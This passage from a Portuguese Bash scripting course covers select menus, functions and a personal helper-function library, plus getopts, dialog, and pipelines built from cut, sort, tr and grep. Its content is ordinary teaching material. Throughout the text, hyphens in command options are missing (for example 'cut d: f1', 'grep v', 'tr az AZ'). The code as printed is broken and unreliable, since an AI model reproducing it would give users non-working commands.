echo " Opção inválida!" ;; esac done; Primeiramente o select mostra um menu: 1) Iniciar 2) Reiniciar 3) Parar 4) Sair #? Quando o usuário digitar um número de opção, o select executa o case e este compara a variável x com suas opções. Se achar alguma, executa seus comandos, no caso um echo. Se o usuário escolher Sair, além do echo, ele executa o "break", que interrompe o select: virtvs@mucuripe:~/test$ ./t 1) Iniciar 2) Reiniciar 3) Parar 4) Sair #? 1 Iniciando o serviço... 1) Iniciar 2) Reiniciar 3) Parar 4) Sair #? 5 Opção inválida! 1) Iniciar 2) Reiniciar 3) Parar 4) Sair #? 4 Script encerrado. virtvs@mucuripe:~/test$ Espero que vocês tenham pego a idéia de como funciona comandos de laços. Pelos menos sabendo a utilidade, sintaxe e como funcionam, quando surgir a necessidade, vocês já vão saber o que usar. #!/bin/bash
Adbeel Goes Filho
ShellScripts 78
function Mecho { echo e "\e[1m$*\e[m" } # ATENÇÃO AQUI: o prompt que o select mostra é controlado pela # variável PS3. E todas aqueles comentários sobre # o PS1 feitas no tópico 2.2. valem aqui também. PS3="Opção: " echo n "Entre com o primeiro número: " read NUM1 echo n "Entre com o segundo número: " read NUM2 OPCOES="adicao subtracao multiplicacao divisao sair" select opc in $OPCOES; do if [ "$opc" = adicao ]; then Mecho "$NUM1 + $NUM2 = $[ $NUM1 + $NUM2 ]" elif [ "$opc" = subtracao ]; then Mecho "$NUM1 $NUM2 = $[ $NUM1 $NUM2 ]" elif [ "$opc" = multiplicacao ]; then Mecho "$NUM1 * $NUM2 = $[ $NUM1 * $NUM2 ]" elif [ "$opc" = divisao ]; then Mecho "$NUM1 / $NUM2 = `echo "scale=2;$NUM1/$NUM2" | bc l`" elif [ "$opc" = sair ]; then Mecho "Tchau! " exit else Mecho "Opção inválida! " fi done
Adbeel Goes Filho
ShellScripts 79
21.Funções Funções são interessantes para quando você precisa fazer uma determinada coisa várias vezes num mesmo script. Uma função é como se fosse um script dentro do script, sendo assim ele também usa o mesmo esquema de parâmetros de um script comum ($1 para primeiro parâmetro, $2 para segunda, e todas aquelas regras explicadas em 2.4. Parâmetros com a exceção do $0, que não retorna o nome da função!). Uma função também é capaz de retornar um valor usando o "return ValorDeRetorno", sendo que ValorDeRetorno ficará armazenado em "$?", vale observar também que só é possível retornar valores inteiros. Por exemplo, se na função tiver "return 123" depois da execução desta instrução "$?" valerá 123. #!/bin/bash # "Hello World" usado para ilustrar o uso de funções. function quit { echo e "\e[1;32mTCHAU!\e[m" exit } function e { echo e "\e[1;35m$1\e[m" } e Hello e World quit echo "Isso aqui não será impresso" Outro exemplo: #!/bin/bash PARAM_ERR=198 # Se for passado mais do que dois parâmetros. EQUAL=199 # Retorno se os parâmetros forem iguais. function maior # Retorna o maior de dois números { # OBS: os números comparados precisam ser menores que 257 [ z "$2" ] && return $PARAM_ERR if [ "$1" eq "$2" ]; then Adbeel Goes Filho
ShellScripts 80
return $EQUAL elif [ "$1" gt "$2" ]; then return $1 else return $2 fi } read p "Numero1: " N1 read p "Numero2: " N2 maior $N1 $N2 RET_VAL=$? if [ $RET_VAL eq $PARAM_ERR ]; then echo "É necessário passar dois parâmetros para a função." elif [ $RET_VAL eq $EQUAL ]; then echo "Os dois números são iguais." else echo "O maior número é $RET_VAL." fi exit 0 Informações adicionais: O return quando executado interrompe a execução da função e a execução passa para a instrução imediatamente posterior a qual a função foi chamada; O valor mais alto que uma função pode retornar é 256 e o mais baixo 0. Bem, é um número de módulo grande. :P Se precisar de valores positivos maiores que 256 retorneo como negativo e depois convertao para positivo novamente. Se quer saber mais detalhes sobre funções o capítulo 23 do Advanced BashScripting Guide vai lhe ser muito útil. #!/bin/bash # # Código baseado em um do Advanced BashScripting Guide. # Mais informações sobre este guia em http://www.linuxdoc.org # Caso não entenda o código, faça um esforcinho! ;) LIMITE=400 function romano { NUM=$1 FATOR=$2 ROMAN=$3 Adbeel Goes Filho
ShellScripts 81
(( RESTO = $NUM $FATOR )) while [ "$RESTO" ge 0 ]; do echo n $ROMAN (( NUM = $FATOR )) (( RESTO = $NUM $FATOR )) done return $NUM } [ "$1" ] || { echo "Uso: `basename $0` NUMERO" exit 1 } [ "$1" gt 400 ] && { echo "$1 ultrapassa o limite de $LIMITE" exit 1 } NUMERO=$1 romano $NUMERO 100 C NUMERO=$? romano $NUMERO 90 XC NUMERO=$? romano $NUMERO 50 L NUMERO=$? romano $NUMERO 40 XL NUMERO=$? romano $NUMERO 10 X NUMERO=$? romano $NUMERO 9 IX NUMERO=$? romano $NUMERO 5 V NUMERO=$? romano $NUMERO 4 IV NUMERO=$? Adbeel Goes Filho
ShellScripts 82
romano $NUMERO 1 I NUMERO=$? echo exit É possível declarar função(ões) dentro de função. 5.
Funções como comandos
Antes de começar vamos relembrar um conceito básico: quando se executa um shell script você obtém o mesmo resultado que obteria se digitasse o conteúdo do script no prompt de um shell. Com isso eu quero dizer que você pode fazer tudo que faz em um shell script na linha de comando, inclusive criar e utilizar funções (que é o assunto deste tópico). Na linha de comando você declara uma função da mesma maneira que faz num script. Por exemplo, digite o seguinte na sua linha de comando: function heko { echo e "\e[5;1;32mHekodangews, para de enrolar a mina e casa logo! \e[m" } Agora quando você entrar com "heko" na linha de comando será impresso na tela um recadinho para o Hekodangews numa corzinha verde e piscante superfashion. =) Veja este outro exemplo um pouco mais útil: function SetPath { PATH=${PATH:="/bin:/usr/bin"} for DIR in "$@"; do if [ d "$DIR" ]; then PATH="$PATH:$DIR" else echo "* * * Erro: $DIR nao eh um diretorio" fi done export PATH unset DIR } E se você tiver várias idéias de funções legais que queira usar sempre em suas sessões? Vai ter que digitálas na linha de comando toda hora? Não! Para este propósito o comando "source" pode ser muito útil (informações detalhadas na manpage do bash). Lembrase quando disse "Quando executamos um shellscript ele é executado num shell Adbeel Goes Filho
ShellScripts 83
a parte (shell filho)" ?. O comando source faz com que o script seja executado no shell pai, ou seja, é como você estivesse digitando todo o conteúdo do arquivo na linha de comando. E isso é especialmente útil quando temos arquivos com as nossas funções que queremos usar como comandos. Uma coisa legal de se fazer é colocar o arquivo com as funções que você quer usar num arquivo oculto no seu $HOME (ex.: $HOME/.MyFunctions) e no seu $HOME/.bash_profile você coloca uma linha com o comando "source $HOME/.MyFunctions". Veja este arquivo com alguns exemplos de funções: #!/bin/bash # # "INSTALAÇÃO": # copie este arquivo para seu $HOME: # [prompt]$ cp Mfunctions ~/.Mfunctions # # depois faça o seguinte: # [prompt]$ echo ". ~/.Mfunctions" >> ~/.bash_profile # # Dê login novamente ou digite ". ~/.Mfunctions" e pronto. # Agora é só digitar o nome da função. # # DICA: depois de corretamente instalada, use "M" # para ver as funções disponíveis. # # Funções disponíveis neste arquivo: # + Mecho # + Mcenter # + Mclock # + Mclock2 # + Msetpath # + Mdica # + Marrumanome # + Mnocomments # + Mcalcula # + Mcores # # Aproveite! # meleu # # P.S.: graças a esse tal de "open source" você pode ler # um código e alterálo para que se adeque as suas # necessidades eu que fique ao seu gosto. Pois foi # isso que eu fiz aqui! Saí olhando as funções que # outras pessoas fizeram e arrumei do meu jeito. E Adbeel Goes Filho
ShellScripts 84
# a minha principal fonte foi o funcoeszz do aurélio. # veja em: http://verde666.org/zz #
# imprime em negrito function Mecho { echo e "\e[1m$*\e[m" } # imprime em negrito no centro da linha function Mcenter { local POS=$[ ( $COLUMNS `echo en "$*" | wc c` ) / 2 ] Mecho "\e[${POS}C$*" } # deixa sempre no cantinho da primeira linha do console: # "[ hora:minuto dia/mes/ano ]". # Se houver algum processo em segundo plano (background) ele também indica. # OBS.: nos emuladores de terminal em que eu testei só funcionou no xterm # o rxvt não aceita os códigos de salvar e restaurar a posição do cursor # (respectivamente "\e[s" e "\e[u"). function Mclock { local CIANO="\e[1;36m" local AMARELO="\e[1;33m" local SCOR="\e[m" alias DiaMesAno='date +'\''%H:%M %e/%m/%y'\' PROMPT_COMMAND=" JOBS=\$(echo \$(jobs | wc l)) if [ \$JOBS ne 0 ]; then HEADER=\"Jobs: \$JOBS \$(DiaMesAno)\" else HEADER=\"\$(DiaMesAno)\" fi POS=\$[ (\$COLUMNS \$(echo \"\$HEADER\" | wc c) ) 3 ]" PS1="\[\e[s\e[1;0H\e[K\ \e[\$(echo n \$POS)C\ $CIANO[$AMARELO \$HEADER $CIANO]$SCOR\ \e[u\e[1A\] $PS1" echo e "\nMclock ativado!\n" Adbeel Goes Filho
ShellScripts 85
}
# Parecido com o Mclock mas fica tudo escrito no centro da primeira linha # e em um formato mais longo. function Mclock2 { local CIANO="\e[1;36m" local AMARELO="\e[1;33m" local SCOR="\e[0m" alias Mdate='date +'\''%H:%M %A, %e %B %Y'\' PROMPT_COMMAND=" JOBS=\$(echo \$(jobs | wc l)) if [ \$JOBS ne 0 ]; then HEADER=\"Jobs: \$JOBS $(Mdate)\" else HEADER=\"\$(Mdate)\" fi POS=\$[ (\$COLUMNS \$(echo \"\$HEADER\" | wc c) ) / 2 ]" PS1="\[\e[s\e[1;0H\e[K\ \e[\$(echo n \$POS)C\ $CIANO[$AMARELO \$HEADER $CIANO]$SCOR\ \e[u\e[1A\] $PS1" echo e "\nMclock2 ativado!\n" } # Adiciona um diretório na sua variável $PATH function Msetpath { local DIR PATH=${PATH:="/bin:/usr/bin"} [ $# eq 0 ] && { echo "PATH = $PATH"; return; } for DIR in "$@"; do if [ d "$DIR" ]; then PATH="$DIR:$PATH" else echo "* * * Erro: $DIR não é um diretório" continue fi Adbeel Goes Filho
ShellScripts 86
done export PATH }
# eu tenho no meu home um diretório dicas onde eu vou colocando # dicas sobre programas diversos. # o nome dos arquivos são iguais aos nomes dos programas, então # quando eu me deparo com uma dica sobre o grep, por exemplo, eu # faço: # [prompt]$ cat dica_grep >> ~/grep # esta função serve para visualizar as dicas # OBS.: o aurélio que me deu ESTA dica do diretório "$HOME/dicas". # valeu rapaz! ;) function Mdica { local DICASDIR=$HOME/dicas [ "$1" ] || { Mecho "Uso: Mdica [assunto]\n" echo "Os assuntos disponíveis são:" ls $DICASDIR return } more $DICASDIR/$1 } # renomeia os arquivos que possuem nomes com caracteres feiosos # fazendo com que letras maiúsculas fiquem minúsculas; # letras acentuadas fiquem a letra correspondente sem acento; # e espaços em branco, símbolos e outras coisas feias fiquem # underline '_' function Marrumanome { [ "$1" ] || { Mecho "Erro: você precisa passar os arquivos que quer renomear"; echo 'Uso: Marrumanome arquivo1 [arquivoN ...]' return 1 } local FILE NINICIAL NFINAL DIR for FILE in "$@"; do [ f "$FILE" ] || continue NINICIAL=`basename "$FILE"` DIR=`dirname "$FILE"` Adbeel Goes Filho
ShellScripts 87
NFINAL=`echo "$NINICIAL" | sed ' y/ABCDEFGHIJKLMNOPQRSTUVWXYZ/abcdefghijklmnopqrstuvwxyz/ y/ÃãÀàÂâÄäÁáÈèÊêËëÉé/aaaaaaaaaaeeeeeeee/ y/ÌìÎîÏïÍíÕõÒòÔôÖöÓó/iiiiiiiioooooooooo/ y/ÙùÛûÜüÚúÇçÑñ/uuuuuuuuccnn/ s/^/_/ s/[^az09._]/_/g'` [ "$NINICIAL" != "$NFINAL" ] && mv "$FILE" "$DIR/$NFINAL" done } # visualiza um arquivo retirando linhas que comecem com um caractere # de comentário (#) e linhas vazias (linhas com espaços não são vazias) function Mnocomments { [ "$1" ] || { Mecho "Erro: falta argumentos" echo "Uso: Mnocomments arquivo1 [arquivoN ...]" return } # estou usando o more só por causa daqueles ":::::::" que aparecem # quando é passado mais de um arquivo como parâmetro. ;) more $@ | egrep v "^#|^$" } # faz cálculos usando o bc # só pra não precisar ficar fazendo "echo <expressao> | bc" toda hora function Mcalcula { [ "$1" ] || { Mecho "Erro: você precisa passar uma expressão" echo "Uso: Mcalcula <expressão>" echo "Exemplo: Mcalcula '4^2+3*(74)'" return 1 } # mude o valor de "scale" se quiser mais de duas casas decimais echo "scale=2; $@" | bc } # mostra todas as cores do console e seus respectivos códigos. # mais uma cortesia do aurélio function Mcores { for LETRA in `seq 0 7`; do for BOLD in '' ';1'; do for FUNDO in `seq 0 7`; do Adbeel Goes Filho
ShellScripts 88
SEQ="4$FUNDO;3$LETRA" echo ne "\e[$SEQ${BOLD}m $SEQ${BOLD: } \e[m" done echo done done }
22.Tornando seu script amigável
Alguns comandos úteis que tornam seu script mais "userfriendly".
6.
getopts
Este comando serve para permitir que você use parâmetros na linha de comando de maneira mais eficiente que ficar usando as variáveis de posição de parâmetros ("$1", "$2"...). Sua sintaxe é: getopts 'CadeiaDeOpcoes' variavel Onde "CadeiaDeOpcoes" consiste em cada caractere que o getopts considerará, e "variavel" receberá este caractere. Para passar um parâmetro para o script você usa 'c' onde 'c' é o parâmetro. Veja este exemplo hipotético: getopts 'ab:c' variavel Você poderá usar os parâmetros 'a', 'b' ou 'c'. Note que 'b' é seguido de um ':', isso significa que 'b' é um parâmetro que precisa de argumento. Este, por sua vez, é armazenado na variável OPTARG. Mais detalhadamente, o getopts funciona assim (adaptado do "Teach Yourself Shell Programming in 24 Hours", veja Referências): 1. O getopts examina todos os argumentos da linha de comando procurando por argumentos que comecem com o caractere ''. 2. Quando acha um argumento começado com '' o getopts procura em "CadeiaDeOpcoes" se tem algum caractere que combine. 3. Se combinar com algum, "variavel" receberá este caractere, caso contrário "variavel" receberá '?'. 4. Os passos 13 são repetidos até que todos os argumentos da linha de comando tenham sido Adbeel Goes Filho
ShellScripts 89
lidos. 5. Quando acaba de ler todos os argumentos da linha de comando getops retorna um valor falso (nãozero). Isto é útil para verificações em loops (como veremos no exemplo abaixo). <++> BashScript/getopts.sh #!/bin/bash USAGE="Uso: `basename $0` [h] [n nome] [e email]" [ $1 ] || { echo $USAGE ; exit 1 ; } # observe que 'n' e 'e' precisam de argumentos while getopts 'hn:e:' PARAMETRO; do # atente para a utilidade do "case"! ;) case $PARAMETRO in h) echo n " Script de exemplo de uso do \"getopts\". Uso: `basename $0` [opções] Onde as opções podem ser: n nome imprime nome e email imprime email h exibe esta mensagem" ;; n) NOME=$OPTARG ;; e) EMAIL=$OPTARG ;; *) echo n "Entre \"`basename $0` h\" para ajuda." ;; esac done [ $NOME ] && echo $NOME [ $EMAIL ] && echo $EMAIL
Adbeel Goes Filho
ShellScripts 90
23.dialog O dialog não um comando específico do bash! Estou escrevendo sobre ele porque já vi muita gente querendo informações. O dialog serve para fazer caixas de diálogo, e a sintaxe básica é assim: dialog [ opcoes de título ] opções da caixa As opções de título são opcionais (por isso que elas estão entre colchetes. As de caixa são obrigatórias. Para que você possa fazer agora uma apreciação visual do dialog tente o seguinte comando: dialog yesno "Caixa onde se se escolhe Yes ou No" 0 0 Existem vários tipos de caixas, a utilizada nesse comando é uma caixa do tipo "yesno". Bem... isso foi só pra você dar uma admirada rápida no dialog. Agora vamos organizar as coisas, vou explicar alguns parâmetros. Vá praticando cada um desses parâmetros e vendo o resultado. Lembrese que as opções da caixa são obrigatórias! * backtitle "texto" Este parâmetro é para por um título "lá atrás". Tente dialog backtitle "Micro\$oft Scandisk" yesno bla 0 0 e veja como o título que aparece lhe trará péssimas lembranças. =) * title "texto" Este vai ser o título da caixa de diálogo. Agora vamos as opções de caixa, mas antes uma informação: Em todos os tipos de caixas existem os argumentos "altura" e "largura" (que para abreviar, eu chamarei de "alt" e "larg"), que (por incrível que pareça) servem para você determinar a altura e largura da caixa de diálogo. Se você não tiver saco pra ficar contando quantos caracteres serão usados na caixa, use 0 para altura e largura, assim a caixa terá um tamanho de acordo com texto utilizado. * yesno "texto" alt larg Faz uma caixa de diálogo com as opções "Yes" e "No". Se você escolher "Yes" o dialog retorna 0, caso contrário, retorna 1. * msgbox "texto" alt larg Serve para mostrar uma mensagem e tem um botão de confirmação "OK". Quando você escolher Adbeel Goes Filho
ShellScripts 91
"OK" o dialog retornará 0, e, assim como em todos os outros tipos de caixas, você pode cancelar via tecla ESC, quando o dialog retornará 255. * inputbox "texto" alt larg [string de inicio] Faz uma caixa de entrada de dados, se "string de inicio" for passada o campo de entrada de dados será inicializado por esta string. Os botões são "OK" E "Cancel", o primeiro, se selecionado, retorna 0 e o outro retorna 1. A string que você entrar será direcionada para a saída de erro padrão, portanto, se você quer que isto seja gravado use redirecionamento de stderr (ver 3.3 Redirecionamento). * textbox arquivo alt larg É como se fosse um simples visualizador de arquivos texto. Use as setinhas do teclado para se movimentar. Para pesquisar pra frente use '/' e para pesquisar pra trás use '?'. * menu "texto" alt larg altdomenu item1 "descricao do item1" \ [ itemN "descricao do itemN" ] Note que aquela '\' lá no final da linha significa que o comando continua na próxima linha. Como o próprio nome diz, esse parâmetro é usado para fazer menus, como por exemplo aquele do pppsetup (slackware) onde você escolhe qual o ttyS do seu modem. O item que for escolhido será impresso em stderr. "OK" retorna 0 e "Cancel" retorna 1. Veja um exemplo besta só pra ilustrar: #!/bin/bash FILE=/tmp/script$$ dialog title "Teste fuleiro da caixa de diálogo \"menu\"" \ menu "Qual comando você deseja executar?" 0 0 0 \ "pwd" "mostra o diretório atual" \ "ps aux" "lista os processos que estão sendo executados" \ "uname a" "exibe informações sobre o SO e a máquina local" \ "users" "lista os usuários que estão logados no momento" 2> $FILE # Lembrese que o item escolhido será impresso em stderr. E repare # acima que eu estou redirecionando stderr para um arquivo. RET_VAL=$? [ $RET_VAL eq 0 ] || { echo "Operação cancelada."; exit 1; } sh $FILE rm $FILE
Adbeel Goes Filho
ShellScripts 92
* checklist "texto" alt larg altdalista \ item1 "descricao do item1" status [ item2 "descricao do item2" status ] Note novamente o caractere '\' fazendo o comando continuar na linha abaixo. Este tipo de caixa é utilizado quando se quer fazer um menu onde podese escolher vários itens, você marca os que deseja e dá "OK". Assim como o "menu", o(s) item(ns) que for(em) escolhido(s) serão impressos em stderr. O parâmetro "status" serve para você deixar um determinado item selecionado logo de início, seus valores podem ser "on" ou "off". Veja este exemplo bem interessante (oh! finalmente um exemplo com alguma utilidade!) que usa muitos dos conceitos já ensinados até aqui, se não entender releia o código: Exemplo: #!/bin/bash # # "Escolhedor" de mp3z feito para ilustrar o uso do 'dialog' # no texto "Programação em BourneAgain Shell". # # Para utilizar este script é necessário ter instalado o mpg123. # # + OBS.: Se o nome de alguma mp3 for muito grande podem acontecer # resultados bizarros... :/ # + OBS.II: Este script não "detecta" nome de mp3z que contenham # espaços. Pois se detectasse também ocorreriam resultados bizarros. # # Feito por: meleu <[email protected]> # mude a variável MP3DIR e descomentea para não # precisar passar o diretório toda hora na linha # de comando. #MP3DIR="$HOME/mp3z/" FILE="/tmp/mp3.$$" NCOR="\e[m" WHITE="\e[1m" function AjudarSair { echo "Tente \"`basename $0` h\" para ajuda." exit $1 } function ApagarSair { rm $FILE exit $1 Adbeel Goes Filho
ShellScripts 93
} # óia o getopts aê gente! =) while getopts 'd:n:h' OPCAO; do case $OPCAO in d) MP3DIR="$OPTARG" ;; n) NOME="*$OPTARG" ;; h) echo e " ${WHITE}* Meleu's mp3 escolheitor (Tabajara, Inc.)$NCOR Uso: `basename $0` [d diretorio] [n nome] [h] d diretorio diretório onde serão procuradas as mp3z n nome nome que será procurado no diretório h imprime esta mensagem " exit ;; *) exit 1 ;; esac done if [ z "$MP3DIR" ]; then echo e "${WHITE}Você precisa indicar em qual diretório estão as mp3z.$NCOR" AjudarSair 1 elif [ ! d "$MP3DIR" ]; then echo e "$WHITE\"$MP3DIR\" não é um diretório.$NCOR" AjudarSair 1 fi cd "$MP3DIR" LISTA=`/bin/ls 1 $NOME*.mp3 2>/dev/null | grep v ' '` [ z "$LISTA" ] && { echo e "${WHITE}Nenhuma mp3 foi encontrada em \"$MP3DIR\".$NCOR" AjudarSair 1 } CONT=1 dialog backtitle "Selecionador de mp3z" \ title "$MP3DIR" \ checklist "Escolha a música" 0 0 0 \ $(for ITEM in $LISTA ; do echo "$ITEM" "$CONT" off (( CONT++ )) done) 2>> $FILE Adbeel Goes Filho
ShellScripts 94
RET_VAL=$? [ $RET_VAL ne 0 ] && { echo "Tchau!"; ApagarSair; } # verificando se já existe um processo com o mpg123 MPGPID=`ps ax format pid,comm | grep mpg123 | cut c6` [ $MPGPID ] && { dialog backtitle "Selecionador de mp3z" \ title "O mpg123 JÁ ESTÁ SENDO USADO!" \ yesno "Deseja finalizálo para ouvir a sua lista?" 0 0 RET_VAL=$? if [ $RET_VAL eq 0 ]; then kill $MPGPID 2>/dev/null || { echo e "${WHITE}Não foi possível finalizar o mpg123.$NCOR" echo "Pode ser que outro usuário esteja utilizandoo." ApagarSair 1 } else echo "Saindo..." ApagarSair fi } # o sleep é pra garantir que o /dev/dsp estará desocupado sleep 1s cat $FILE | xargs mpg123 2> /dev/null & ApagarSair # EoF # * radiolist "texto" alt larg altdalista \ item1 "descricao do item1" status [ item2 "descricao do item2 status ] Similar ao checklist porém aqui só se pode fazer uma escolha, quando você seleciona um item desmarca outro.
Adbeel Goes Filho
ShellScripts 95
Capitulo 5. Comandos Avançados 1. cut O Linux possui diversos comandos e, utilizando um em conjunto com o outro, você acaba criando um comando novo e ainda mais poderoso. Abaixo mostrarei alguns comandos misturados com outros e mostrando as saídas, assim será bem fácil de entender. Preste atenção nestas duas linhas de comando: 1 cat /etc/services 2 cat /etc/services |more O primeiro comando, jogará na tela o conteúdo do arquivo /etc/services. O segundo jogará na tela o conteúdo do arquivo /etc/services, dividindo na tela de maneira que o arquivo não fique rolando, assim podendo visualizar todo o arquivo e, de maneira que apertando espaço ela vai rolando para baixo. Utilizamos esse "more" quando o arquivo é muito grande, como já visto nos comandos do Linux. Agora o importante é notar, que no segundo comando o que fazemos é usar o comando cat, e jogar sua saída para o comando more, o por sua vez joga a saída na tela. Visto isso podemos montar comandos muito interessantes, o qual juntaremos alguns comandos e no final sairá na tela o resultado desejado. Vamos pra um exemplo. Se quiséssemos pegar todos os usuários de um computador. Faríamos o seguinte: root@c0mb4t:/# cat etc/passwd root:x:0:0::/root:/bin/bash bin:x:1:1:bin:/bin: daemon:x:2:2:daemon:/sbin: adm:x:3:4:adm:/var/log: lp:x:4:7:lp:/var/spool/lpd: sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/: news:x:9:13:news:/usr/lib/news: uucp:x:10:14:uucp:/var/spool/uucppublic: operator:x:11:0:operator:/root:/bin/bash games:x:12:100:games:/usr/games: ftp:x:14:50::/home/ftp: Adbeel Goes Filho
ShellScripts 96
mysql:x:27:27:MySQL:/var/lib/mysql:/bin/bash gdm:x:42:42:GDM:/var/state/gdm:/bin/bash nobody:x:99:99:nobody:/: c0mb4t:x:1000:100:c0mb4t,,,:/home/c0mb4t:/bin/bash Mas vimos aqui muita sujeira, então juntamos dois comando e veremos sua saída: root@c0mb4t:/# cat etc/passwd |cut d: f1 root bin daemon adm lp sync shutdown halt mail news uucp operator games ftp mysql gdm nobody c0mb4t Aqui o comando cut corta o ':' (d: f1) onde o 'f' vem do inglês field. Assim deixa somente a lista de usuários. Mas ainda não estamos satisfeitos, pois queremos em ordem alfabética, então usaremos junto mais um comando, o sort. root@c0mb4t:/# cat etc/passwd |cut d: f1| sort adm bin c0mb4t daemon ftp games gdm halt lp mail mysql news Adbeel Goes Filho
ShellScripts 97
nobody operator root shutdown sync uucp Mas como sou chato, vou querer em ordem inversa, logo acrescentamos no sort o r. root@c0mb4t:/# cat etc/passwd |cut d: f1| sort r uucp sync shutdown root operator nobody news mysql mail lp halt gdm games ftp daemon c0mb4t bin adm Vamos dar um pause e ver o que está acontecendo: cat etc/passwd |cut d: f1| sort r, onde: cat etc/passwd = imprime na tela o arquivo /etc/passwd. cut d: f1 = cortamos o primeiro : e o resto da direita. sort r = ordenamos em ordem alfabética inversa a saída. Notamos então, que o comando cat joga sua saída para o comando cut, que por sua vez joga a saída para o comando sort que finalmente joga a saída na tela. Poderíamos ainda colocar o | more, caso a tela ficasse pequena, ficando: cat etc/passwd |cut d: f1| sort r |more Agora, vamos pegar essa saída, e jogálas em letra maiúsculas, para melhor visualização e para melhor aprendizado, certo? Neste caso usamos o comando tr. root@c0mb4t:/# cat etc/passwd |cut d: f1| sort r| tr az AZ Adbeel Goes Filho
ShellScripts 98
UUCP SYNC SHUTDOWN ROOT OPERATOR NOBODY NEWS MYSQL MAIL LP HALT GDM GAMES FTP DAEMON C0MB4T BIN ADM O comando tr, substituí as letras de 'a' a 'z' por 'A' até 'Z'. Pronto, aqui está a lista de usuários em ordem alfabética inversa, em letras maiúsculas. Mas que tal jogarmos a sua saída num arquivo chamado usuários? root@c0mb4t:/# cat etc/passwd |cut d: f1| sort r| tr az AZ > /usuarios O comando > grava em arquivo. assim o > /usuarios grava o saida, que no lugar de jogar na tela, ela joga para um arquivo que chamei de /usuarios. Para visualizar o arquivo, digitamos conforme já visto: root@c0mb4t:/# cat /usuarios UUCP SYNC SHUTDOWN ROOT OPERATOR NOBODY NEWS MYSQL MAIL LP HALT GDM GAMES FTP Adbeel Goes Filho
ShellScripts 99
DAEMON C0MB4T BIN ADM Pronto. Agora você já tem seu arquivo de usuários. :) Outro comando muito interessante e que sempre usamos em conjunto é o comando grep. Esse comando pega a saída de um comando e imprime ta tela apenas a linha o qual contém o conteúdo desejado. root@c0mb4t:/# cat etc/passwd |grep c0mb4t c0mb4t:x:1000:100:c0mb4t,,,:/home/c0mb4t:/bin/bash root@c0mb4t:/# cat etc/passwd |grep bash root:x:0:0::/root:/bin/bash operator:x:11:0:operator:/root:/bin/bash mysql:x:27:27:MySQL:/var/lib/mysql:/bin/bash gdm:x:42:42:GDM:/var/state/gdm:/bin/bash c0mb4t:x:1000:100:c0mb4t,,,:/home/c0mb4t:/bin/bash
2. wc Conta caracteres, palavras e linhas em arquivos. Sintaxe: wc [cwl] [arquivo ... ] Exemplos: $ wc c < cadastro $ wc w texto1 $ wc l /etc/passwd Opções: • c Conta o número de caracteres • w Conta o número de palavras • l Conta o número de linhas •
Por default, o comando sem opção, apresenta a saída com as três opções. As opções podem ser utilizadas em conjunto. A ordem das opções vai determinar a ordem de apresentação da saída do comando
3. tee Utilizado para gerar duas saídas simultâneas. Sintaxe: $ tee [ a ] [ arquivo ] Adbeel Goes Filho
ShellScripts 100
Exemplos: $ ls | tee arquivo | sort $ ls | tee a arquivo | sort O comando tee lê da entrada padrão e gera uma saída padrão e outra em um arquivo especificado. A opção a é utilizada para adicionar em um arquivo já existente.
4. sort Classifica e/ou intercala arquivos texto. Sintaxe: sort [opções] arquivo $ sort < cadastro $ sort nt: +2 < /etc/passwd $ sort d cadastro O comando sort é poderoso e flexível. As linhas de um arquivo ou campos do arquivo podem ser classificados de diversas maneiras. Algumas opções do comando sort: • • • • • • • •
r Inverte o sentido da classificação f Iguala letras maiúsculas e minúsculas na comparação n Indica que a comparação deve ser de valor numérico u Elimina as linhas com chaves duplicadas tX Indica que o caracter X é o delimitador de campos m Executa a intercalação de arquivos já classificados +posi posf Indica chave de classificação, posi é a posição inicial e posf a posição final o arq Indica que arq será a saída do comando
Exemplos: Considerando o arquivo cadastro com os campos código, nome e cep: 00006Jose 20000010 00003Maria 20000015 00005Antonio 20000009 00002Pedro 20000002 00004Carlos 20000002 00001Zelia 20000011
Classificação crescente do campo código: $ sort +0.0 0.5 cadastro Classificação inversa do campo nome: Adbeel Goes Filho
ShellScripts 101
$ sort r +0.5 0.15 cadastro Classificação crescente do campo cep e também do campo nome $ sort +0.20 0.28 +0.5 0.15 cadastro Considerando o arquivo /etc/passwd, que possui o delimitador de campo : Classificação crescente por nome de usuário, gerando a saída no arquivo saida.srt $ sort o saida.srt t: +0 1 /etc/passwd Classificação por grupo e também por nome $ sort t: n +3 4 +0 1 /etc/passwd
5. grep Agora teremos um breve tutorial sobre o Grep. Ele não é somente um dos comandos mais úteis, mas o seu domínio abre portas para dominar outros poderosos comandos, como o sed (que trataremos na próxima aula) , awk, perl, etc. Eu fiz uma adaptação/ modificação de um tutorial que eu tenho, e por sinal é excelente, sobre o Grep e Expressões Regulares em inglês. Espero que tenha ficado legal e vocês gostem. O que ele faz ? O grep basicamente faz buscas. Mais precisamente: grep palavra file retorna todas as linhas do arquivo file que contenham palavra. Outro jeito de usar o grep é através de pipe (lembram dos pipes?). Por exemplo: ls | grep palavra Lista todos os arquivos que contenham palavra em seu nome. Ou seja, a entrada do grep é uma lista de arquivos (gerada pelo ls) que será filtrada, sendo impressas somente as linhas que contenham palavra. Usando caracteres coringas Suponho que todos saibam o que são caracteres coringas. Caso contrário, coringas são caracteres especiais que substituem outros. Geralmente o caracter "*" é um coringa que significa "qualquer caracter em qualquer quantidade". Por isso se a gente executar "ls *", onde "*" entra no lugar do "nome do arquivo", significando qualquer string de qualquer tamanho. Por isso ele lista todos os arquivos. Mas agora voltemos ao grep. Será que ele aceita coringas ? A resposta é mais do que sim. O grep suporta algo que vai além de coringas, ele suporta Expressões Regulares. Mas vamos começar apenas com coringas. Um dos mais usados com o grep é o "." Vamos a um exemplo:
Adbeel Goes Filho
ShellScripts 102
>cat file >grep b.g file big big bad bug bad bug bigger bigger boogy Note que boogy não casa, desde que "." significa "qualquer e apenas um caracter". Para significar strings arbitrárias utilizamos "*", que funciona da seguinte maneira: "A expressão consistindo de um caracter seguido por um * casa com qualquer número (inclusive zero) de repetições desse caracter. Em particular, ".*" significa qualquer string." Para compreendermos vamos a mais exemplos: >cat file big bad bug bag bigger boogy>grep b.*g file big bad bug bag bigger boogy>grep b.*g. File bigger boogy>grep ggg* file bigger Avançando para expressões regulares Os coringas são o começo, mas a idéia vai mais longe. Por exemplo, suponha que queremos uma expressão que case com Frederic Smith ou Fred Smith, ou seja, a string "eric" é opcional. Primeiro, introduzimos o conceito de um "caracter escapado (escaped character)". "Um caracter escapado é um caracter precedido por uma barra invertida ( \ ). Essa barra invertida faz o seguinte: (a) Remove qualquer significado especial do caracter. (b) acrescenta um 